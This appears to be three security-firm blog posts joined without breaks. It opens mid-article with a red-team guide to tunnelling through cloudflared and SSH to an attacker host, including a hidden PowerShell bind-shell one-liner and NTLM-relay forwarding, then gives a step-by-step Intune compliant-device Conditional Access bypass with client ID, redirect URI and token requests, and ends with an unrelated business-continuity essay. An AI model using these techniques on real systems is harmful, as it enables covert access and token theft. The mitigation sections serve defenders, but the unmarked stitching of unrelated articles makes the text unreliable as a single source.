As discussed during the talk, given Cloudflare is a multi billion dollar company being used in perfectly legitimate ways by other big companies, this binary isn’t going anywhere anytime soon. So far I haven’t come across any issues with running the ‘cloudflared’ binary against multiple EDRs, including CrowdStrike. Obviously if you send hundreds of LDAP queries through this binary you will run into trouble, so OPSEC is still a requirement after initial access is gained.

The commands required to carry this out are quite simple. On a cloud VM like Kali, connect to your tunnel configured with the following command:

1
> cloudflared tunnel run --token YourTokenHere

If you need to know more about setting up Cloudflare tunnels please see my previous blog post on how to set it up.

Then, after starting the tunnel on Kali, you can run this command on the Windows client to complete the tunnel:

1
> ssh.exe -o ProxyCommand="cloudflared.exe access ssh --hostname %h" [email protected] -R 1080

This SSH command uses “cloudflared” to transport the data out, but also opens up a reverse port forward and a socks proxy on port 1080 back on Kali. Obviously, at this point you also need a SSH client set up on your Kali VM. You could also use a SSH key file, use -f and -N to not execute commands, and lock down your SSH server so that the access is limited. However, for illustrative purposes, I am just going to log in to show you how it works.

Using Proxychains pointed at port 1080 we can then access the remote machine as follows:

You may wonder what happens on the hostname side of things when I am using ssh.redteaming.org. All that happens there can be seen in the following image, whereby any data hitting ssh.redteaming.org I redirect it into my port 22 of my Kali VM to allow the SSH traffic inbound.

For the eagle eyed amongst you, it may have been spotted that I was using the built-in SSH, which means that relying on a system having SSH breaks one of my 5 tests mentioned earlier!

I learned that bringing the trusted SSH binary to a system is quite easy so if you go to OpenSSH on Github you can bring the SSH binary to a system and it works quite well. All you have to ensure is to also put the libcrypto.dll into the same folder as the ssh.exe binary to make it operational.

Another thing I found quite useful when investigating trusted binaries is that both, the Cloudflared and SSH binaries, could easily be used to forward ports. If for example you wanted to coerce a web client to your host on port 8888 then forward it back to port 80 on Kali where Ntlmrelayx is listening to perform a RBCD style attack. This is all done over port 443 too for added OPSEC and it can be achieved with the following command:

1
> ssh.exe -o ProxyCommand="cloudflared.exe access ssh --hostname %h" [email protected] -L 0.0.0.0:8888:localhost:80

When you have your tunnel up and running, it is also good to know that you can easily achieve command line access over the tunnel with either a PowerShell bind shell running on localhost, or by bringing another trusted binary such as SSHd to a system.

1
Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-NoProfile -Command & {$listener=[System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Loopback,9000); $listener.Start(); $client=$listener.AcceptTcpClient(); $stream=$client.GetStream(); $reader=[System.IO.StreamReader]::new($stream); $writer=[System.IO.StreamWriter]::new($stream); $writer.AutoFlush=$true; while ($client.Connected) { $writer.Write('PS ' + (Get-Location).Path + '> '); $command=$reader.ReadLine(); if ($command -eq 'exit') { break }; try { $output=Invoke-Expression $command 2>&1 | Out-String; $writer.WriteLine($output) } catch { $writer.WriteLine('Error: $_.Exception.Message') } }; $listener.Stop(); `$client.Close() }"

Then, when the bind listener is running, you can connect to it via Proxychains:

For SSHd access you can go back to your OpenSSH zip that you downloaded, and move the SSHd binary to the remote system as well as an authorized_keys file, host file, and SSH_config file. You can then run the SSHd server as follows to start it on port 7001 as previously defined in my sshd_config file:

Then back on Kali we can SSH to the remote server over the Cloudflare tunnel as shown:

The files I used to get SSHd up and running can be found here. All that would be required to change is to add your Kali authorized key and a key for the victim machine. I discovered that you can copy your own Kali key twice, then just change the second one to point to a user on the victim machine by adding this to the end: ‘ekennedy@localhost’. Adding this will allow you to log in as the victim ‘ekennedy’ with your Kali password. Feel free to use my hosts keys file too for testing as it should just work as-is.

You will also have to update sshd_config to point to where your authorized keys file is located, and to avoid potential issues with permissions on the host file, you will need to save it within a standard user’s location on the file systems (e.g. Downloads, Music, etc.). As I noticed that when saved to C:\temp the system would complain about it not being restricted enough.

A Different Solution

To elaborate further on the use of these trusted binaries, and to negate the need to use both SSH or Proxychains, I then started experimenting with Cloudflare’s WARP client which essentially acts like a VPN. Pictured below is how it is supposed to work:

With the WARP client running on your Kali VM and running the Cloudflared binary on the target machine we can use Netexec and our other Kali tools without requiring SSH or Proxychains to access the client network. The following images show how it can be achieved from both the Windows and Kali machine:

Windows Machine:

Kali without Proxychains:

The above solution proved to be very effective against multiple clients, but it was discovered that when running the ‘cloudflared tunnel’ command, it would operate over port 7844 outbound to establish a connection using either the TCP or UDP protocols. This therefore breaks 1 of my 5 tests which is that the technique needed to be ‘Firewall Friendly’. With that in mind I took a deep dive into the ‘cloudlfared’ code and discovered this hidden feature named edge.

This got me thinking. Could I use this undocumented feature to get around the port 7844 issue by redirecting the tunnel to a ‘cloudflared access’ listener on localhost, then taking the tunnel connection and egressing on a friendly port like 443? Then, once the tunnel reaches a hostname of my choosing, redirect it back again to where it really wants to go which is to the Cloudflare URL region1.v2.argotunnel.com:7844?

Here is the idea shown graphically, with the ‘double tunnel’ running on the client device and the cfredirect.redteaming.org hostname finally redirecting the data to port 7844.

The following is the hostname set up on Cloudflare’s dashboard:

And below, is the idea shown in commands, redirecting the ‘cloudflared tunnel’ data which wants to egress to 7844 to instead hit our ‘cloudflared access’ listener egressing on port 443. It is important to specify the protocol this time to be TCP (protocol http2) as it defaults to UDP and the Cloudflared access command can only operate over TCP:

On testing this, I found I could now form tunnels on more restrictive devices when all that was allowed outbound was port 443. Here is the double tunnel running on Windows in the first 2 images, and Netexec running on Kali seen accessing the client network:

One further thing to mention, when you are using this double tunnel setup I found that at times since it is all operating over TCP, that name resolution which occurs by default over UDP, forces you to use the --dns-tcp and --dns-server features of Netexec to operate correctly when using hostnames, although IP addresses will work fine. Other times it would work fine without specifying the dns settings so I am not entirely sure why it can be so hit or miss, but it is just something to keep an eye on.

If you also wanted to perform some NTLM relaying, you can achieve this with the the WARP client setup. It can be used like so, on your target machine:

1
> cloudflared access tcp --hostname smb.redteaming.org --url 0.0.0.0:445

Then, create the smb.redteaming.org hostname to point to port 445 on your localhost on your VM like we achieved with SSH.

Just to recap, here are the various techniques covered at this point and what is required to be in place to carry them out. There is no superior technique, but each offers another string to our bow during offensive engagements.

How to mitigate this?

Given we always focus on the offensive side of things, following are some recommended checks to put in place to monitor for these attacks from a defensive perspective:

• Process Telemetry: Command line switches such as the words ‘tunnel’ or ‘access’ or ‘token’ could be used to alert on the fact that the Cloudflared binary may be in operation on your network. The ‘cloudflared’ name could also be used but this could be easily changed by an attacker to be Chrome or MSEdge for example.
• DNS Logging: During the operation of the Cloudflared binary, the hostnames being queried by it often end in “argotunnel.com“, including update checks which could be alerted upon by the Blue team. Just for reference, the argotunnel.com domain is the old name for the Cloudflared binary.
• Firewall Logging: As we have discovered, circumventing the port 7844 limitation outbound is easily achievable with the ‘double tunnel’ technique but it would still be advised to block port 7844 outbound for both UDP and TCP if Cloudflared isn’t meant to be executed in your environment. The SSH technique doesn’t require port 7844 but that may not always be the chosen path a threat actor may use.
• File Monitoring: Monitoring file downloads from the Github releases page for Cloudflared, as well as matching the provided hashes against what you allow in your network, will help you determine if the Cloudflared binary has been downloaded to your client device.

The above points would be the key things I would focus on from a detection point of view, hoping it will prove useful to defend your organisation from such attacks. I hope you enjoyed this discussion on abusing trusted binaries for adversarial purposes.

Conditional Access Policies (CAPs) are the core of Entra ID’s perimeter defense for the vast majority of Enterprise Microsoft 365 (M365) and Azure environments. The core ideas of conditional access are:

1. Require specific auth strength in scenarios where you wish to grant access
2. Block access in undesirable scenarios
3. If a scenario are neither covered by a or b, then the minimal auth strength (password) would be sufficient

A special condition for CAP requirements is that authentication can be required to come from an “Intune Compliant” device (also known as “company managed” to the user), otherwise the authentication would be unsuccessful. In our adversarial engagements, more hardened M365 environments often have this requirement for a large subset of cloud apps used by the company, making running post-exploitation Entra ID tools like GraphRunner, RoadRecon, Teamfiltration, etc. difficult. The conundrum is that you would need to be on a compliant device to get properly authenticated, however getting valid access & refresh token from the Endpoint device tends to be time consuming / loud, and it might not be practical to run something like GraphRunner directly on the beachhead device.

Few weeks ago in BlackHat EU 2024, TEMP43487580 (@TEMP43487580) gave a talk related to this topic. Dirk-jan, (@_dirkjan) who also previously worked on the same attack path, disclosed the relevant client ID in a tweet and mentioned looking into the Company Intune Portal in the same thread. According to Dirk-jan himself, the “cat is out of the bag” for bypassing the CAP auth requirement for an Intune compliant device.

1
> Client_id: 9ba1a5c7-f17a-4de9-a1f1-6178c8d51223

Folks in the adversarial simulation team in JUMPSEC got super excited about the possibility of getting a PoC working. I worked on this on a Friday night, helped by our Tom Ellson and a working bypass was completed based on this.

Behind the scenes I’ve been working on an Entra authentication util called TokenSmith for a while now. With the opportune timing of this new PoC, I decided to incorporate the bypass into the tool and release it in the current state. You can find TokenSmith on: https://github.com/JumpsecLabs/TokenSmith.

You can also skip the PoC sections of the post if you don’t want to read about the discovery process.

Credits

Credits for Dirk-jan, from Outsider Security & TEMP43487580 from SecureWorks for initial disclosure of the vulnerable client ID which made the subsequent work possible.

Walkthrough of Discovery

For testing purposes, in my personal Entra ID tenant I’ve set up a rule called Derpy must log in from compliant device which requires the user Derpy Fonder to authenticate from a compliant device which is also Entra ID joined device, use MFA from all locations and most importantly, for all resources / cloud apps.

To prove that the CAP is working as intended, we tried to login to Office.com and Azure Portal, which both blocked us as we did not meet the compliance requirements. In fact there were nil compliant device in the tenant at all!

As Dirk-jan wrote the very useful RoadTx and he kindly provided the client ID of the authentication flow, first thing I tried was using his tool:

1
> roadtx interactiveauth -c 9ba1a5c7-f17a-4de9-a1f1-6178c8d51223 -u [email protected]

Unfortunately we would get an incorrect redirect URI error:

1
> AADSTS50011: The redirect URI 'https://login.microsoftonline.com/common/oauth2/nativeclient' specified in the request does not match the redirect URIs configured for the application '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223’

You might wonder, what is the big deal with the direct URI? It is just another GET parameter isn’t it? If you are not too familiar with the OAuth2 SSO Authorization code flow, you can see in the schematic below.

 The pre-registered SaaS application or desktop or mobile client where the IdP (Entra ID here) redirects to, needs to be known to the IdP first, otherwise login.microsoft.com would arbitrarily redirect their users to malicious & unknown third party domains with a legitimate authorization code with which access tokens can be redeemed. Consider the scenario where an attacker sends a user a malicious login link with the redirect_uri set to their web server, if the user logins in, would the user be redirected to the attacker’s domain with the code parameter?

Fortunately, this doesn’t happen as Entra ID has the record of all registered first & third party applications’ legit redirect URI and would refuse to give out the authorization code (useful for later) or proceed with the redirect. Each client app with its UUID would have paired with their paired redirects, sort of like a lock-and-key situation.

Having read the MSDN manuals I do know that the nativeclient URI:

1
> https://login.microsoftonline.com/common/oauth2/nativeclient

is for clients like Teams, Azure PowerShell and so on. Unfortunately this is not the redirect for this ‘9ba1a5c7-f17a-4de9-a1f1-6178c8d51223’ client. Problem is, Microsoft does not publish the redirect URIs for first party applications. I knew we only have the first half of the puzzle and if / when the correct redirection is uncovered we would have a working PoC.

Okay, on to the next hint then, Company Portal, what’s that? A bit of Googling landed me on the Desktop app here: https://learn.microsoft.com/en-us/mem/intune/user-help/sign-in-to-the-company-portal.

And there is also a web app version at portal.manage.microsoft.com, however the client ID for the web app is not the 9ba1a5c7 one we want. I installed the Portal desktop app on a Win11 sandbox and fired it up to have a look. An Intune in-app browser prompting you to log in would pop up as soon as you start the app.

I thought, okay now I only need to proxy it to BurpSuite to see where this app talks to and it’s all good then? I was so wrong. Even with Burp’s cert installed into the system trusted root CA store, the app was absolutely not having it and kept throwing 404 errors. I thought then, okay let’s try the builtin device code login option? The thinking was that I could route requests on a web browser through Burp during the device code flow and I could discover more there. (The guys in our team also suggested right click inspect on the in app browser which was a good shout but ultimately didn’t work)

Unfortunately Entra was again not happy and device code flow was blocked from the compliant device requirement. The good news however,  is that we knew we were on the right track as the authentication attempts were indeed from the 9ba1a5c7 client ID. At least this particular App is what we need to drill further into.

And better still, we already knew the bypass would work in theory at this point as the in-app browser login was deemed Successful in the sign in logs, whereas the device code attempt was a Failure. The only problem was that we did not have visibility in how the authentication worked under the hood of the successful login!

Breakthrough

The struggle with proxying the Company Portal App was real and it kept 404’ing no matter  what I tried. I even installed the Company Portal App on Linux to have a go, and the Linux version didn’t even work properly. I got frustrated after a couple of hours and needed to change my thinking.

I thought, I must not be the only person trying to get this app to talk through a proxy. There has to be many legitimate corporate environments with firewalls, SSL inspection and web proxy on all internal endpoints. I Googled “Intune Company portal web proxy troubleshooting” and viola, someone was showing error logs and discussion it online:  https://www.anoopcnair.com/fix-intune-company-portal-app-login-issues

They posted screenshots of Windows EventViewer logs and they were super verbose, which prompted me to have a look myself on my local machine – Event ID 1098 from source AAD, and there it was, the beauty of the full sign in URL in full view:

There were a couple of encoding issues, for example %2f was turned into ^2f, presumably so that Windows would be able to process the log. I cleaned up the URL and the correct redirect URI was:

1
> ms-appx-web://Microsoft.AAD.BrokerPlugin/S-1-15-2-2666988183-1750391847-2906264630-3525785777-2857982319-3063633125-1907478113

I pasted the full login.microsoft.com URL into a browser and the login worked and landed on – a neverending loading screen. Of course, Brave or Firefox wouldn’t know how to deal with the ms-appx-web:// URI scheme. Nevertheless, the authorization code was returned in the redirect.

I tried to redeem the tokens using the POST /common/oauth2/token endpoint and it worked like a charm. Think about it, full tokens from a random web browser where compliant device check should utterly block the login! I was ecstatic. Further modifications to the sign in URL were made to make it compatible with /common/oauth/v2.0/ and also requested for refresh tokens, scoped to MS Graph instead of just Intune, talked to MS Graph, and got AD Graph access tokens from the initial Refresh token.

Tell you what, all those worked, and  I could not believe my eyes.

How useful are the redeemed tokens?

Why though did all the token ops mentioned above work, and above all, why would an access token meant for Intune device enrollment be able to talk to MS Graph? On my suspicion I checked the known Foci client list on SecureWork’s repo: https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv

It’s right there, and the investigative part of this story was almost complete for me. For those not familiar with the term ‘Foci clients’, or ‘family of client id’ clients, refresh tokens for every cloud app in the list, which includes Teams, Az PowerShell, Az cli, and so on, could request access tokens & refresh tokens for each other (provided CAP is met). Access tokens could be requested for AD Graph and MS Graph, on top of what the App usually needs (for example, Teams would be Calendar.Read,  Contacts.Read, etc).

I double checked the sign in attempt in Entra and it further bypassed the “require hybrid Entra ID joined device” requirement on top of the Intune compliant requirement.

Authentication was successful despite not meeting the CAP grant controls.

PoC login flow with Web requests

How would the reader recreate the same bypass at home? The requirements for the bypass is that the attacker is able to complete the authentication flow – with either:

• Password / MFA (depending on requirement), or
• Valid ESTSAUTH and ESTSAUTHPERSISTENT cookies (stolen from AiTM phishing perhaps)

And that additional CAP conditions are met, for example geolocation, device platform (User Agent), trusted IP and so on.

On a browser, hit the URL below and complete the authentication flow as usual (lines split for visibility):

1
2
3
4
5
6
> https://login.microsoftonline.com/common/oauth2/v2.0/authorize?\
>
> client_id=9ba1a5c7-f17a-4de9-a1f1-6178c8d51223&\
> scope=openid+offline_access+https%3A%2F%2Fgraph.microsoft.com%2F.default&\
> response_type=code&\
> redirect_uri=ms-appx-web://Microsoft.AAD.BrokerPlugin/S-1-15-2-2666988183-1750391847-2906264630-3525785777-2857982319-3063633125-1907478113

Once the MFA flow is completed (here for example for Derpy), the login screen would be stuck on a neverending loop with the 5 dots. The web browser is in fact trying its best to redirect you to ms-appx-web://… URL with the authorization code tagged on the end of the request.

Here you would want to fire up developer tools, hover over and copy that ms-appx-web:// link, and you would see the code= parameter in the end. If you don’t want to go into developer tools to grab the URL, proxying the browser through BurpSuite would work too.

The access & refresh tokens can then be redeemed from the OAuth2 /token API endpoint like this:

Request:

1
2
3
4
5
6
7
> POST /common/oauth2/v2.0/token HTTP/1.1
> Host: login.microsoftonline.com
> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0
> Content-Type: application/x-www-form-urlencoded
> Content-Length: xxx
>
> client_id=9ba1a5c7-f17a-4de9-a1f1-6178c8d51223&redirect_uri=ms-appx-web://Microsoft.AAD.BrokerPlugin/S-1-15-2-2666988183-1750391847-2906264630-3525785777-2857982319-3063633125-1907478113&grant_type=authorization_code&scope=offline_access%20https%3A%2F%2Fgraph.microsoft.com%2F.default&code=1.AUEBe...

Response:

The token can then be used to access MS Graph (graph.microsoft.com), redeem new tokens for AD Graph (graph.windows.net) and be used to run your favorite Entra ID post exploitation tools.

Introducing TokenSmith

An easier way to achieve the same result would be to use our recently released internal tool called TokenSmith. It was developed to favour a browser based authentication workflow to work with Entra ID tokens because on engagements it is often not practical to install or run an untrusted binary / PowerShell or Python scripts on a beachhead device. You can see the caveats from the repo page and how to install it as well. Basically, either grab a binary or build it from source, that’s it. To get tokens where you should be blocked by Intune Compliance requirement, run:

1
> ./tokensmith authcode --intune-bypass

This would start the tool and it would display an appropriate URL to login with. For bypassing Intune, the client ID is fixed but you could request for resources other than MS Graph if you desire using the -r flag.

After logging in via a (recommended chromium-based)  browser you should see either one of the 2 pictures below.

You may see this:

If you see “Continue”, click ‘Continue’ once and then press Ctrl+Shift+J to open the DevTools Console.

Or you may see this instead:

If you see the 5 spinning / flying dots, go ahead and press Ctrl+Shift+J open the DevTools Console.

Right click and copy the ms-appx-web URL, paste it into TokenSmith as is, press RETURN and see the tokens coming in as the tool redeems the token for you in the background.

How do I defend against this?

The Intune Device Enrollment Service can be explicitly set on Entra ID conditional access as one of the cloud apps that must satisfy compliant device enrollment. However the dilemma is that you cannot enroll any new compliant device that way for your starters because a device must go through the Non-compliant > Compliant journey first via this very client. Seeing how it works it is also highly unlikely Microsoft would change the underlying functionality any time soon.

A more productive way would be to ensure that the Intune Company Portal Desktop app requires some form of MFA by conditional access by testing with running the Portal app on a VM and attempting to sign in, or by using TokenSmith. It is unfortunately not as simple as firing up the ‘What if’ tool in Entra ID because the 9ba1a5c7-f17a-4de9-a1f1-6178c8d51223 client is not a searchable Enterprise App in Azure.

You would have to go into the Sign In logs for a user (Entra ID admin center > Users > YourTestUser > Sign in logs) and filter for Application > 9ba1a5c7-f17a-4de9-a1f1-6178c8d51223  , and Click into the individual logins to see whether they were Successful and whether the MFA enforcing conditional access policy is applied.

Limitations and Future Development

As explained above you must be able to authenticate to the service to get tokens (fair enough), so requiring MFA to enroll devices is a reasonable defensive measure. However, what about AiTM phishing to bypass the MFA? It would be interesting to see how AiTM phishing can factor into this, for example, if the Evilginx server can AiTM a login to Intune instead of the commonly implemented login to Office.com. Another limitation I observed is that if non-compliant devices can only get tokens for the enrollment service, trying to redeem access tokens for other clients (for example Az PowerShell) with the Refresh tokens obtained would be blocked. Though I have yet to fully explore what is possible to do using this client alone, and getting access to both MS Graph and AD Graph is already very useful indeed!

A Business Continuity Plan (BCP) is a strategic playbook created to help an organisation maintain or quickly resume business functions in the face of disruption. (Pratt, Tittel, Lindros, 2023)

Be honest now. Who really has a truly effective Business Continuity Plan in 2024? Not the compliance-driven plan that has not been reviewed or tested properly for years. Or the “oh no, this supplier questionnaire is asking for a BCP… quick, write one” plan that won’t be much help in reality. Who has an effective plan that will be genuinely useful to their organisation in a time of crisis? Not many organisations do and it’s understandable. We are not aiming to criticise anybody’s hard work here. We get it. To put it mildly, the sheer amount of items on any organisation’s to-do list combined with budget and resource constraints often lead to things like Business Continuity Planning being deprioritised. Not to mention the current rate of technological change. Constraints aside, everybody agrees that a BCP is a good idea, but where do you start? What does good look like? How do you make sure that it is effective? How do you keep it updated?

This article is the first in a series where we aim to explore those questions and more, based on our experiences of helping organisations to develop plans that will survive first contact with the “enemy”. Every organisation is a little bit different, so we are unlikely to be able to provide all of the answers even across a series of articles. So our secondary aim is to start a dialogue across industry to begin to provide clarity on how most, if not all, organisations should approach Business Continuity Planning properly and effectively in the third decade of the 21st Century. In this article, the first in the series, we will establish some straightforward principles that we will build upon in later releases.

That quote, referenced above, by Field Marshall Helmuth von Moltke, is a great place to start. “No plan survives contact with the enemy”… so why plan?

Principle 1 – Why plan in the first place?

Helmuth von Moltke has been consistently misquoted over the years. He didn’t say “no plan survives contact with the enemy” (principle 1.5, never trust a quote!). He said (translated from German) “…no plan of operations reaches with any certainty beyond the first encounter with the enemy’s main force…” (Großer Generalstab, 1883). Moltke believed that plans rarely go smoothly and that having multiple strategies in place is important. He was a meticulous planner who emphasised the importance of practice and learning how to react to different situations. So it is time we all stopped using him as an excuse to avoid proper planning!

The key to success is to have a team of people who are trained to be adaptable whilst being tuned to achieve the necessary goal. Often, the sense that planning in advance will lead to a lack of flexibility is used as an excuse to avoid planning. Whilst inflexibility is often a deciding factor during a crisis because it leads to missed opportunities, flexibility is not hindered by planning. In fact, effective prior planning leads to greater flexibility because, when executed correctly, it helps organisations to use their resources more effectively. Proper planning provides direction, reduces uncertainty and improves creativity. All critical elements during a crisis. Ultimately, the British Army, amongst others, had it right: Proper Planning and Preparation Prevents Pitifully Poor Performance (Mulford, 2020).

Principle 2 – Some preparation is better than no preparation.

Planning for an incident that may never happen is a recipe for avoidance. In our experience, the perception that the resources required to prepare are excessively taxing tends to stunt progress. Why spend time putting a BCP together when you already have 1,000 other things to do? It is important to recognise that it is unlikely that you will ever be completely prepared for compromise. However, that is not an excuse for inaction. Getting started is often the hardest part.

But how do you start? Our advice is to start small. Rome wasn’t built in a day and nor will your BCP. Even the smallest action now could have a major impact during a crisis down the line. In our experience, considering how you will communicate during a crisis is a strong place to begin. How will you communicate with your customers and key stakeholders? Who will lead if the CEO and COO are uncontactable on a long flight? What about disseminating messages to your own staff? Coordinating communications won’t be easy if your primary means of collaboration is offline. Without effective communication, chaos ensues, and wasted time leads to missed opportunities during crisis response. Get your communications right and the rest becomes easier. A big benefit here is once you have a communications plan sketched out, it often leads you to identify other opportunities to prepare.

Another approach that we have found to be highly effective is to take an Adversary Simulation-led approach. Adversarial simulations replicate the tactics, techniques and procedures (TTPs) used by advanced threat actors and help to assess your susceptibility to an authentic and realistic targeted attack. Applying an Adversary Simulation-led approach to compromise preparation drastically reduces the scope of items you need to address to prepare for compromise. In effect, this means you don’t need to give your canteen menu the same level of assurance as Personal Identifiable Information (PII) or your other ‘crown jewels’. You may not be able to defend every ‘village’, but you can watch every ‘road’ (attack path).

Principle 3 – The simplest things are usually the most effective

Leonardo Da Vinci once said “simplicity is the ultimate sophistication”. As beautiful as that quote is, there’s actually no evidence of Da Vinci ever saying it. It was first attributed to him in a Campari advert in the early 2000s! (Sullivan, 2015). Nevertheless, when applied to Business Continuity Planning in particular, it is a key principle. The simplest things you can do to prepare are usually the most effective in a crisis.

Disaster Recovery plan stored on your company SharePoint? It won’t be much good to you there if your entire infrastructure is taken out. Print a copy and put it somewhere safe (ideally somewhere fireproof; that’s a war story for another time). Completely reliant on Microsoft Teams for inter-company communications? Put at least your most critical contacts in the phonebook on your mobile phones. Completely reliant on your finance systems to process transactions? Ensure your people can access your banking securely via alternative means. Those were just a few small examples to illustrate the point. You will have many small things you can do that will have a big impact during a crisis. It is a mistake to assume everything you do during Business-As-Usual will be there during a crisis. Do not miss the opportunity to prepare for that effectively.

This article is just our starting point to introduce some key principles. Next time we will address the equally important topic of people, and how to ensure your BCP process resonates with them. Look out for the next edition in the new year.

References

1. 1. Pratt, Tittel, Lindros (2023). How to create an effective business continuity plan. CIO.com. https://www.cio.com/article/288554/best-practices-how-to-create-an-effective-business-continuity-plan.html
   2. Großer Generalstab (1883). Kriegsgeschichtliche Einzelschriften. Mittler und Sohn.
   3. Mulford, A (2020). Repurposing the 7Ps. nature.com. https://www.nature.com/articles/s41415-020-1724-2
   4. Sullivan, G (2015). Simplicity is the Ultimate Sophistication. quoteInvestigator.com. https://quoteinvestigator.com/2015/04/02/simple/